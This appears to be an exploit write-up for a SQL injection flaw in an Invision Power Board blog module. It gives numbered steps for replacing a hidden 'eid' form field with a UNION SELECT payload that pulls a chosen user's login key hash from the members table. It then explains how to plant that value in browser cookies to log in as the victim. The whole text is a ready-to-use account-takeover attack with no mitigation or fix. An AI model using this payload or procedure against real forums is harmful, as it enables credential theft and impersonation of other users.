1. Open any blog entry
2. Try to reply to any message
3. Push "Preview message" button (Do not post your reply)
4. Save source code of opened page to your PC 
5. Find this string
<input type='hidden' name='eid' value='<BLOG_ENTRY_ID>' />

6. Change <BLOG_ENTRY_ID> with this SQL Injection:

<BLOG_ENTRY_ID> UNION  SELECT b.entry_id,  b.blog_id, b.category_id, b.entry_author_id, b.entry_author_name, b.entry_date, member_login_key, b.entry_category, b.entry, b.entry_status, b.entry_locked, b.entry_num_comments, b.entry_last_comment, b.entry_last_comment_date, b.entry_last_comment_name, b.entry_last_comment_mid, b.entry_queued_comments, b.entry_has_attach, b.entry_post_key, b.entry_edit_time, b.entry_edit_name, b.entry_html_state, b.entry_use_emo, b.entry_trackbacks, b.entry_sent_trackbacks, b.entry_last_update, b.entry_gallery_album, b.entry_poll_state, b.entry_last_vote FROM ibf_members, ipb_blog_entries b WHERE id=<USER_ID> and b.entry_id=<BLOG_ENTRY_ID> LIMIT 1,1

<USER_ID> - ID of the user whom password you want to get.

7. Push "Preview Button" again.

8. After refresh instead of blog entry name you will get users's HASH password.

9. Change your cookies in your favorite browser and open board. You will be automaticaly logged in as the user whom password you just got.